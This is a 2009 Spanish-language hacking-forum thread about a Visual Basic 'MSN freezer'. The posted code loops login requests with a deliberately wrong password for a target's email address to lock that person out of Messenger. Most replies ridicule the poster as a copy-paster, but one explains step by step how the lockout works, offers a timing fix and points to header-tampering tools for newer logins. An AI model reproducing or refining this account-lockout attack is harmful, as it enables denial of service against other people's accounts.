Sólo texto | Texto con Imágenes

Test Foro de elhacker.net SMF 2.1

Programación => .NET (C#, VB.NET, ASP) => Programación General => Programación Visual Basic => Mensaje iniciado por: g4bsk0r en 14 Enero 2009, 17:08 PM

Título: Compilacion de Congelador MSN.
Publicado por: g4bsk0r en 14 Enero 2009, 17:08 PM
Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje.
Bueno este codigo fuente es:

Código (vb) [Seleccionar]
Public Class Form1
    Private Sub Command1_Click()
    On Error Resume Next
    Winsock1.Connect("login.passport.com", 80)
    Timer1.Enabled = True
    End Sub


    Private Sub Timer1_Timer()
    On Error Resume Next
    Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
    Winsock1.SendData("Accept: */*" & vbCrLf)
    Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
    Winsock1.SendData(vbCrLf)
    Winsock1.SendData(vbCrLf)
    End Sub


    Private Sub Command2_Click()
    On Error Resume Next
    Timer1.Enabled = False
    Winsock1.Close()
    End Sub

El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo.

Saludos y  muchas gracias por la atencion !
Título: Re: Compilacion de Congelador MSN.
Publicado por: skapunky en 14 Enero 2009, 22:36 PM
Este fragmento de TU codigo es curioso:

Citar.....Text1.Text + ",pwd=FREEZED-BY-WHK,lc....

:-X
Título: Re: Compilacion de Congelador MSN.
Publicado por: ssccaann43 © en 14 Enero 2009, 22:45 PM
Cita de: skapunky en 14 Enero 2009, 22:36 PM
Este fragmento de TU codigo es curioso:

Citar.....Text1.Text + ",pwd=FREEZED-BY-WHK,lc....

:-X

Es exactamente ese mismo fragmento el que me huele a LAMMER
Título: Re: Compilacion de Congelador MSN.
Publicado por: [||HackerDark||] en 14 Enero 2009, 22:55 PM
dios mio esto lammer no saben ni hacer un buen Copyboy  :xD
Título: Re: Compilacion de Congelador MSN.
Publicado por: aaronduran2 en 14 Enero 2009, 22:56 PM
Jaja, que recuerdos con CopyBoy... :xD :xD :xD
Título: Re: Compilacion de Congelador MSN.
Publicado por: ssccaann43 © en 14 Enero 2009, 23:09 PM
Jajaja.. Ese men debe estar traumado... Pero más le vale no seguir así...  :xD
Título: Re: Compilacion de Congelador MSN.
Publicado por: ricardovinzo en 14 Enero 2009, 23:27 PM
A parte de LAMMER y Copiado el code.. este TROZO de BASURA no SIRVE PARA NADA.. Aprende MSNP ( Messenger Protocol ) y hay posteas
Título: Re: Compilacion de Congelador MSN.
Publicado por: Banti en 14 Enero 2009, 23:46 PM
Cita de: g4bsk0r en 14 Enero 2009, 17:08 PM
Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje.
Bueno este codigo fuente es:

Código (vb) [Seleccionar]
Public Class Form1
    Private Sub Command1_Click()
    On Error Resume Next
    Winsock1.Connect("login.passport.com", 80)
    Timer1.Enabled = True
    End Sub


    Private Sub Timer1_Timer()
    On Error Resume Next
    Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
    Winsock1.SendData("Accept: */*" & vbCrLf)
    Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
    Winsock1.SendData(vbCrLf)
    Winsock1.SendData(vbCrLf)
    End Sub


    Private Sub Command2_Click()
    On Error Resume Next
    Timer1.Enabled = False
    Winsock1.Close()
    End Sub

El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo.

Saludos y  muchas gracias por la atencion !


Que aprendiste a hacer "copy and paste"...
El codigo es super re contra mega sencillo... para empeorar esta en visual basic que te ayuda todo cuando tenes un misero error.
Título: Re: Compilacion de Congelador MSN.
Publicado por: seba123neo en 15 Enero 2009, 01:19 AM
nooooooooooo...aparte el codigo es mezcla de visual basic .NET y visual basic 6.... :xD :xD que LAMMER....
Título: Re: Compilacion de Congelador MSN.
Publicado por: m[a]rkus en 14 Septiembre 2009, 21:22 PM
Hola. Mira un error que vi yo es este:

Código [Seleccionar]
Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)

En donde pones
Citar+ Text1.Text +
digamos que esta por ejemplo "pepe@hotmail.com" tienes que cambiar la "@" por  "%40" podrias hacerlo de esta manera:

Código [Seleccionar]
& Replace(Text1.Text, "@", "%40") &

.....

Aprovechando la duda de Vaati pongo una mia:

Estoy intentando conectar a una cuenta MSN creando una especie de cliente muy basico y todo el funcionamiento me va bien hasta que tengo que conectar ah:

Citarlogin.passport.com 443

Segun el tutorial.... dice que tengo que enviar esto:

Código [Seleccionar]
Private Sub login_Connect()
    Monitor2.Text = Monitor2.Text & "Cliente > " & " Conectado con exito al tercer servidor:" & vbCrLf
    Text4.BackColor = vbGreen
    login.SendData "GET/ login2.srf HTTP/1.0"
    login.SendData "Accept: */* "
    login.SendData "Host: login.passport.com "
    login.SendData "User-Agent: GirL "
    login.SendData "Authorization: Passport1.0.4 "
    login.SendData "OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=hack.markus%40hotmail.es,pwd=xx0n," & Dlogin
End Sub


Y conecta y envia esos datos pero... es somo si nada.. el servidor se queda a la escucha de otra cosa parece..

Si quereis que os pegue el codigo completo me decis.
Título: Re: Compilacion de Congelador MSN.
Publicado por: Di~OsK en 14 Septiembre 2009, 22:25 PM
(http://pix.motivatedphotos.com/2008/9/3/633560142291105814-pwnd.jpg)

Cita de: skapunky en 14 Enero 2009, 22:36 PM
Este fragmento de TU codigo es curioso:

Citar.....Text1.Text + ",pwd=FREEZED-BY-WHK,lc....

:-X
Título: Re: Compilacion de Congelador MSN.
Publicado por: ka0s en 14 Septiembre 2009, 22:37 PM
lol.
Título: Re: Compilacion de Congelador MSN.
Publicado por: MazarD en 15 Septiembre 2009, 12:06 PM
LOL

Cita de: m[a]rkus en 14 Septiembre 2009, 21:22 PM
Aprovechando la duda de Vaati pongo una mia:
Estoy intentando conectar a una cuenta MSN creando una especie de cliente muy basico y todo el funcionamiento me va bien hasta que tengo que conectar ah:

Citarlogin.passport.com 443

Segun el tutorial.... dice que tengo que enviar esto:

Código [Seleccionar]
Private Sub login_Connect()
Monitor2.Text = Monitor2.Text & "Cliente > " & " Conectado con exito al tercer servidor:" & vbCrLf
Text4.BackColor = vbGreen
login.SendData "GET/ login2.srf HTTP/1.0"
login.SendData "Accept: */* "
login.SendData "Host: login.passport.com "
login.SendData "User-Agent: GirL "
login.SendData "Authorization: Passport1.0.4 "
login.SendData "OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=hack.markus%40hotmail.es,pwd=xx0n," & Dlogin
End Sub


Y conecta y envia esos datos pero... es somo si nada.. el servidor se queda a la escucha de otra cosa parece..

Si quereis que os pegue el codigo completo me decis.

En ese punto debes conectar mediante ssl para hacer la petición, si te fijas tu mismo dices que el puerto es el 443 el cual corresponde habitualmente a https.
De todos modos seguramente sería mejor que abrieras otro tema.
Título: Re: Compilacion de Congelador MSN.
Publicado por: yofoxD en 16 Septiembre 2009, 07:31 AM
Cita de: [||HackerDark||] en 14 Enero 2009, 22:55 PM
dios mio esto lammer no saben ni hacer un buen Copyboy  :xD
Cita de: aaronduran2 en 14 Enero 2009, 22:56 PM
Jaja, que recuerdos con CopyBoy... :xD :xD :xD

jajaja copyboy ya es leyenda ;D
Título: Re: Compilacion de Congelador MSN.
Publicado por: skyweb07 en 16 Septiembre 2009, 09:40 AM
Cita de: g4bsk0r en 14 Enero 2009, 17:08 PM
Hola amigos de elhacker.net, queria saludarles y a la vez mostrarles mi aprendisaje.
Bueno este codigo fuente es:

Código (vb) [Seleccionar]
Public Class Form1
   Private Sub Command1_Click()
   On Error Resume Next
   Winsock1.Connect("login.passport.com", 80)
   Timer1.Enabled = True
   End Sub


   Private Sub Timer1_Timer()
   On Error Resume Next
   Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
   Winsock1.SendData("Accept: */*" & vbCrLf)
   Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
   Winsock1.SendData(vbCrLf)
   Winsock1.SendData(vbCrLf)
   End Sub


   Private Sub Command2_Click()
   On Error Resume Next
   Timer1.Enabled = False
   Winsock1.Close()
   End Sub

El caso es que en este experimento que estado haciendo sobre los congeladores del msn queria que calificaceis mi avance, y que me ayudaran a encontrar donde esa el problema de este codigo.

Saludos y  muchas gracias por la atencion !


Haber si no me falla la memoria y mirando un poco el code te puedo decir que ese code es del CHAU MSN creo, aparte de ello siempre trata de ver lo que hace el programa y luego copia si quieres, no empiezes como lo hice yo  :-\

Bueno te explico algo el code :

Código [Seleccionar]
Private Sub Command1_Click()
   On Error Resume Next
   Winsock1.Connect("login.passport.com", 80)
   Timer1.Enabled = True
   End Sub

Primeri tienes que añadir un WInsock al Programa y Un Command Button

Winsock1.Connect("login.passport.com", 80) ' Aqui lo que hace es conectarse a hotmail con el winsock

Timer1.Enabled = True ' Inicia un Timer


Código [Seleccionar]
Private Sub Timer1_Timer()
   On Error Resume Next
   Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
   Winsock1.SendData("Accept: */*" & vbCrLf)
   Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
   Winsock1.SendData(vbCrLf)
   Winsock1.SendData(vbCrLf)
   End Sub

Aqui esta parte esta Re-Mal ya que el Timer funciona sin saber si el Socket esta conectado por lo que el timer deberias activarlo en el evento del Winsock Connect para estar asegurados de que ya esta conectado y que puedes enviar todos esos datos

Código [Seleccionar]
Winsock1.SendData("GET /login2.srf HTTP/1.0" & vbCrLf)
   Winsock1.SendData("Accept: */*" & vbCrLf)
   Winsock1.SendData("Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" + Text1.Text + ",pwd=FREEZED-BY-WHK,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1131803266,kpp=1,kv=7,ver=2.1.6000.1,rn=Oyx2lzO3,tpf=a9aa21fdbc1350435849d9fd05849cb7" & vbCrLf)
  Winsock1.SendData(vbCrLf)
   Winsock1.SendData(vbCrLf)


Aqui esta parte lo que hace es mandarle datos al servidor de hotmail con un passwords Mal  ( pwd=FREEZED-BY-WHK ) para que el mismo al pasar los 3 intentos de conexión con passwords mal se congele el msn por un tiempo hasta que deje de activar el timer ese y luego para de enviar passwords mal y se descongela el MSN despues de 3 minutos o algo asi.

PD : Creo que hotmail cambio ese metodo ya por lo que deberias utilizar algun programa coo Tamper Data para modificar las cabezeras del navegador y obtener la nueva forma de loguearse, asi mismo lo puedes hacer con cualquier otro sitio que necesite login ;)

Aqui un ejemplo de como seria modificar las cabezeras del Passaport de Hotmail con el Tamper Data

(http://img5.imageshack.us/img5/1026/capturacopiae.jpg)
Título: Re: Compilacion de Congelador MSN.
Publicado por: ‭‭‭‭jackl007 en 16 Septiembre 2009, 13:41 PM
gracias por el dato del Tamper :D
felizmnte salio algo bueno al post lammer :)
Sólo texto | Texto con Imágenes